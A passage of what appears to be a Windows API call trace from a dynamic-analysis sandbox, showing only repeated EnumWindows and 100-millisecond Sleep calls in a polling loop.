(dwMilliseconds=0x64) [0241.968] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.969] Sleep (dwMilliseconds=0x64) [0241.970] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.971] Sleep (dwMilliseconds=0x64) [0241.972] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.973] Sleep (dwMilliseconds=0x64) [0241.974] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.975] Sleep (dwMilliseconds=0x64) [0241.976] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.977] Sleep (dwMilliseconds=0x64) [0241.978] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.978] Sleep (dwMilliseconds=0x64) [0241.980] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.980] Sleep (dwMilliseconds=0x64) [0241.982] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.982] Sleep (dwMilliseconds=0x64) [0241.984] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.984] Sleep (dwMilliseconds=0x64) [0241.989] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.990] Sleep (dwMilliseconds=0x64) [0241.991] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.992] Sleep (dwMilliseconds=0x64) [0241.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.994] Sleep (dwMilliseconds=0x64) [0241.996] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0241.998] Sleep (dwMilliseconds=0x64) [0242.000] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.000] Sleep (dwMilliseconds=0x64) [0242.002] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.002] Sleep (dwMilliseconds=0x64) [0242.004] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.004] Sleep (dwMilliseconds=0x64) [0242.006] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.007] Sleep (dwMilliseconds=0x64) [0242.008] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.009] Sleep (dwMilliseconds=0x64) [0242.011] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.011] Sleep (dwMilliseconds=0x64) [0242.012] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.013] Sleep (dwMilliseconds=0x64) [0242.090] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.091] Sleep (dwMilliseconds=0x64) [0242.092] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.093] Sleep (dwMilliseconds=0x64) [0242.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.095] Sleep (dwMilliseconds=0x64) [0242.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.097] Sleep (dwMilliseconds=0x64) [0242.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.099] Sleep (dwMilliseconds=0x64) [0242.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.100] Sleep (dwMilliseconds=0x64) [0242.102] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.102] Sleep (dwMilliseconds=0x64) [0242.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.105] Sleep (dwMilliseconds=0x64) [0242.106] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.106] Sleep (dwMilliseconds=0x64) [0242.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.109] Sleep (dwMilliseconds=0x64) [0242.110] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.111] Sleep (dwMilliseconds=0x64) [0242.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.113] Sleep (dwMilliseconds=0x64) [0242.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.114] Sleep (dwMilliseconds=0x64) [0242.116] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.116] Sleep (dwMilliseconds=0x64) [0242.118] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.118] Sleep (dwMilliseconds=0x64) [0242.120] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.120] Sleep (dwMilliseconds=0x64) [0242.122] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.122] Sleep (dwMilliseconds=0x64) [0242.123] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.123] Sleep (dwMilliseconds=0x64) [0242.126] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.126] Sleep (dwMilliseconds=0x64) [0242.127] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.128] Sleep (dwMilliseconds=0x64) [0242.129] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.129] Sleep (dwMilliseconds=0x64) [0242.131] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.131] Sleep (dwMilliseconds=0x64) [0242.133] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.133] Sleep (dwMilliseconds=0x64) [0242.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.135] Sleep (dwMilliseconds=0x64) [0242.136] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.136] Sleep (dwMilliseconds=0x64) [0242.138] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.139] Sleep (dwMilliseconds=0x64) [0242.140] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.140] Sleep (dwMilliseconds=0x64) [0242.142] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.142] Sleep (dwMilliseconds=0x64) [0242.144] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.144] Sleep (dwMilliseconds=0x64) [0242.146] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.147] Sleep (dwMilliseconds=0x64) [0242.148] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.149] Sleep (dwMilliseconds=0x64) [0242.150] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.151] Sleep (dwMilliseconds=0x64) [0242.152] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.153] Sleep (dwMilliseconds=0x64) [0242.154] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.155] Sleep (dwMilliseconds=0x64) [0242.156] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.156] Sleep (dwMilliseconds=0x64) [0242.158] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.159] Sleep (dwMilliseconds=0x64) [0242.160] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.161] Sleep (dwMilliseconds=0x64) [0242.165] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.166] Sleep (dwMilliseconds=0x64) [0242.167] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.168] Sleep (dwMilliseconds=0x64) [0242.170] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.170] Sleep (dwMilliseconds=0x64) [0242.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.172] Sleep (dwMilliseconds=0x64) [0242.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.174] Sleep (dwMilliseconds=0x64) [0242.176] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.176] Sleep (dwMilliseconds=0x64) [0242.178] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.178] Sleep (dwMilliseconds=0x64) [0242.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.180] Sleep (dwMilliseconds=0x64) [0242.182] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.182] Sleep (dwMilliseconds=0x64) [0242.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.184] Sleep (dwMilliseconds=0x64) [0242.185] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.185] Sleep (dwMilliseconds=0x64) [0242.187] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.187] Sleep (dwMilliseconds=0x64) [0242.190] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.190] Sleep (dwMilliseconds=0x64) [0242.192] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.192] Sleep (dwMilliseconds=0x64) [0242.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.194] Sleep (dwMilliseconds=0x64) [0242.196] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.196] Sleep (dwMilliseconds=0x64) [0242.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.197] Sleep (dwMilliseconds=0x64) [0242.203] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.204] Sleep (dwMilliseconds=0x64) [0242.214] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.215] Sleep (dwMilliseconds=0x64) [0242.219] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.219] Sleep (dwMilliseconds=0x64) [0242.221] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.221] Sleep (dwMilliseconds=0x64) [0242.223] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.223] Sleep (dwMilliseconds=0x64) [0242.225] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.225] Sleep (dwMilliseconds=0x64) [0242.227] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.227] Sleep (dwMilliseconds=0x64) [0242.229] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.229] Sleep (dwMilliseconds=0x64) [0242.231] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.232] Sleep (dwMilliseconds=0x64) [0242.233] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.234] Sleep (dwMilliseconds=0x64) [0242.235] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.236] Sleep (dwMilliseconds=0x64) [0242.238] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.238] Sleep (dwMilliseconds=0x64) [0242.355] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.355] Sleep (dwMilliseconds=0x64) [0242.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.367] Sleep (dwMilliseconds=0x64) [0242.386] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.387] Sleep (dwMilliseconds=0x64) [0242.417] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.418] Sleep (dwMilliseconds=0x64) [0242.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.496] Sleep (dwMilliseconds=0x64) [0242.528] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.529] Sleep (dwMilliseconds=0x64) [0242.538] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.539] Sleep (dwMilliseconds=0x64) [0242.643] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.644] Sleep (dwMilliseconds=0x64) [0242.661] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.662] Sleep (dwMilliseconds=0x64) [0242.665] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.666] Sleep (dwMilliseconds=0x64) [0242.667] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.668] Sleep (dwMilliseconds=0x64) [0242.675] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.676] Sleep (dwMilliseconds=0x64) [0242.678] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.678] Sleep (dwMilliseconds=0x64) [0242.680] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.680] Sleep (dwMilliseconds=0x64) [0242.682] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.682] Sleep (dwMilliseconds=0x64) [0242.684] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.684] Sleep (dwMilliseconds=0x64) [0242.686] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.686] Sleep (dwMilliseconds=0x64) [0242.688] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.688] Sleep (dwMilliseconds=0x64) [0242.690] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.690] Sleep (dwMilliseconds=0x64) [0242.744] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.745] Sleep (dwMilliseconds=0x64) [0242.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.787] Sleep (dwMilliseconds=0x64) [0242.795] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.796] Sleep (dwMilliseconds=0x64) [0242.798] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.798] Sleep (dwMilliseconds=0x64) [0242.800] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.800] Sleep (dwMilliseconds=0x64) [0242.802] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.803] Sleep (dwMilliseconds=0x64) [0242.805] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.805] Sleep (dwMilliseconds=0x64) [0242.807] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.807] Sleep (dwMilliseconds=0x64) [0242.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.809] Sleep (dwMilliseconds=0x64) [0242.812] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.812] Sleep (dwMilliseconds=0x64) [0242.814] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.814] Sleep (dwMilliseconds=0x64) [0242.817] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.818] Sleep (dwMilliseconds=0x64) [0242.849] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.850] Sleep (dwMilliseconds=0x64) [0242.857] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.857] Sleep (dwMilliseconds=0x64) [0242.941] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.942] Sleep (dwMilliseconds=0x64) [0242.969] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.970] Sleep (dwMilliseconds=0x64) [0242.971] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0242.972] Sleep (dwMilliseconds=0x64) [0243.026] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.026] Sleep (dwMilliseconds=0x64) [0243.118] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.119] Sleep (dwMilliseconds=0x64) [0243.122] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.123] Sleep (dwMilliseconds=0x64) [0243.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.126] Sleep (dwMilliseconds=0x64) [0243.127] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.128] Sleep (dwMilliseconds=0x64) [0243.129] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.129] Sleep (dwMilliseconds=0x64) [0243.131] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.131] Sleep (dwMilliseconds=0x64) [0243.133] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.134] Sleep (dwMilliseconds=0x64) [0243.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.136] Sleep (dwMilliseconds=0x64) [0243.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.138] Sleep (dwMilliseconds=0x64) [0243.140] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.140] Sleep (dwMilliseconds=0x64) [0243.142] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.142] Sleep (dwMilliseconds=0x64) [0243.144] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.144] Sleep (dwMilliseconds=0x64) [0243.146] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.146] Sleep (dwMilliseconds=0x64) [0243.147] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.148] Sleep (dwMilliseconds=0x64) [0243.150] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.150] Sleep (dwMilliseconds=0x64) [0243.235] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.236] Sleep (dwMilliseconds=0x64) [0243.247] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.248] Sleep (dwMilliseconds=0x64) [0243.281] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.281] Sleep (dwMilliseconds=0x64) [0243.400] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.401] Sleep (dwMilliseconds=0x64) [0243.411] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.412] Sleep (dwMilliseconds=0x64) [0243.415] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.415] Sleep (dwMilliseconds=0x64) [0243.417] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.417] Sleep (dwMilliseconds=0x64) [0243.420] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.420] Sleep (dwMilliseconds=0x64) [0243.421] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.422] Sleep (dwMilliseconds=0x64) [0243.423] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.424] Sleep (dwMilliseconds=0x64) [0243.425] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.426] Sleep (dwMilliseconds=0x64) [0243.427] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.428] Sleep (dwMilliseconds=0x64) [0243.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.431] Sleep (dwMilliseconds=0x64) [0243.433] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.433] Sleep (dwMilliseconds=0x64) [0243.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.435] Sleep (dwMilliseconds=0x64) [0243.437] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.437] Sleep (dwMilliseconds=0x64) [0243.438] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.439] Sleep (dwMilliseconds=0x64) [0243.440] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.441] Sleep (dwMilliseconds=0x64) [0243.442] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.442] Sleep (dwMilliseconds=0x64) [0243.539] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.541] Sleep (dwMilliseconds=0x64) [0243.571] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.572] Sleep (dwMilliseconds=0x64) [0243.584] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.585] Sleep (dwMilliseconds=0x64) [0243.593] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.594] Sleep (dwMilliseconds=0x64) [0243.602] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.603] Sleep (dwMilliseconds=0x64) [0243.683] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.684] Sleep (dwMilliseconds=0x64) [0243.691] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.692] Sleep (dwMilliseconds=0x64) [0243.724] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.725] Sleep (dwMilliseconds=0x64) [0243.727] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.727] Sleep (dwMilliseconds=0x64) [0243.729] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.729] Sleep (dwMilliseconds=0x64) [0243.731] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.731] Sleep (dwMilliseconds=0x64) [0243.734] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.734] Sleep (dwMilliseconds=0x64) [0243.735] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.736] Sleep (dwMilliseconds=0x64) [0243.737] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.738] Sleep (dwMilliseconds=0x64) [0243.739] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.740] Sleep (dwMilliseconds=0x64) [0243.741] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.741] Sleep (dwMilliseconds=0x64) [0243.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.744] Sleep (dwMilliseconds=0x64) [0243.745] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.746] Sleep (dwMilliseconds=0x64) [0243.747] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.748] Sleep (dwMilliseconds=0x64) [0243.749] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.750] Sleep (dwMilliseconds=0x64) [0243.752] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.752] Sleep (dwMilliseconds=0x64) [0243.753] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.754] Sleep (dwMilliseconds=0x64) [0243.793] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.793] Sleep (dwMilliseconds=0x64) [0243.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.853] Sleep (dwMilliseconds=0x64) [0243.855] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.855] Sleep (dwMilliseconds=0x64) [0243.864] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.865] Sleep (dwMilliseconds=0x64) [0243.872] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.873] Sleep (dwMilliseconds=0x64) [0243.884] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.885] Sleep (dwMilliseconds=0x64) [0243.951] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0243.951] Sleep (dwMilliseconds=0x64) [0244.073] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.074] Sleep (dwMilliseconds=0x64) [0244.079] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.080] Sleep (dwMilliseconds=0x64) [0244.092] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.092] Sleep (dwMilliseconds=0x64) [0244.099] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.100] Sleep (dwMilliseconds=0x64) [0244.102] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.102] Sleep (dwMilliseconds=0x64) [0244.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.121] Sleep (dwMilliseconds=0x64) [0244.242] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.242] Sleep (dwMilliseconds=0x64) [0244.254] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.255] Sleep (dwMilliseconds=0x64) [0244.256] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.257] Sleep (dwMilliseconds=0x64) [0244.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.276] Sleep (dwMilliseconds=0x64) [0244.277] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.278] Sleep (dwMilliseconds=0x64) [0244.279] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.280] Sleep (dwMilliseconds=0x64) [0244.281] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.282] Sleep (dwMilliseconds=0x64) [0244.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.283] Sleep (dwMilliseconds=0x64) [0244.292] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.293] Sleep (dwMilliseconds=0x64) [0244.362] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.362] Sleep (dwMilliseconds=0x64) [0244.371] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.371] Sleep (dwMilliseconds=0x64) [0244.414] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.415] Sleep (dwMilliseconds=0x64) [0244.423] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.423] Sleep (dwMilliseconds=0x64) [0244.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.431] Sleep (dwMilliseconds=0x64) [0244.438] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.439] Sleep (dwMilliseconds=0x64) [0244.445] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.446] Sleep (dwMilliseconds=0x64) [0244.491] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.492] Sleep (dwMilliseconds=0x64) [0244.552] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.553] Sleep (dwMilliseconds=0x64) [0244.560] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.561] Sleep (dwMilliseconds=0x64) [0244.562] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.563] Sleep (dwMilliseconds=0x64) [0244.565] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.566] Sleep (dwMilliseconds=0x64) [0244.568] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.568] Sleep (dwMilliseconds=0x64) [0244.570] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.571] Sleep (dwMilliseconds=0x64) [0244.572] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.573] Sleep (dwMilliseconds=0x64) [0244.581] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.582] Sleep (dwMilliseconds=0x64) [0244.601] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.601] Sleep (dwMilliseconds=0x64) [0244.697] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.698] Sleep (dwMilliseconds=0x64) [0244.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.705] Sleep (dwMilliseconds=0x64) [0244.707] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.707] Sleep (dwMilliseconds=0x64) [0244.717] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.717] Sleep (dwMilliseconds=0x64) [0244.719] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.719] Sleep (dwMilliseconds=0x64) [0244.721] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.721] Sleep (dwMilliseconds=0x64) [0244.724] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.724] Sleep (dwMilliseconds=0x64) [0244.726] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.726] Sleep (dwMilliseconds=0x64) [0244.728] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.728] Sleep (dwMilliseconds=0x64) [0244.730] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.730] Sleep (dwMilliseconds=0x64) [0244.732] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.732] Sleep (dwMilliseconds=0x64) [0244.734] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.734] Sleep (dwMilliseconds=0x64) [0244.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.810] Sleep (dwMilliseconds=0x64) [0244.841] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.842] Sleep (dwMilliseconds=0x64) [0244.844] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.845] Sleep (dwMilliseconds=0x64) [0244.846] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.846] Sleep (dwMilliseconds=0x64) [0244.848] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.848] Sleep (dwMilliseconds=0x64) [0244.850] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.850] Sleep (dwMilliseconds=0x64) [0244.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.852] Sleep (dwMilliseconds=0x64) [0244.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0244.855] Sleep 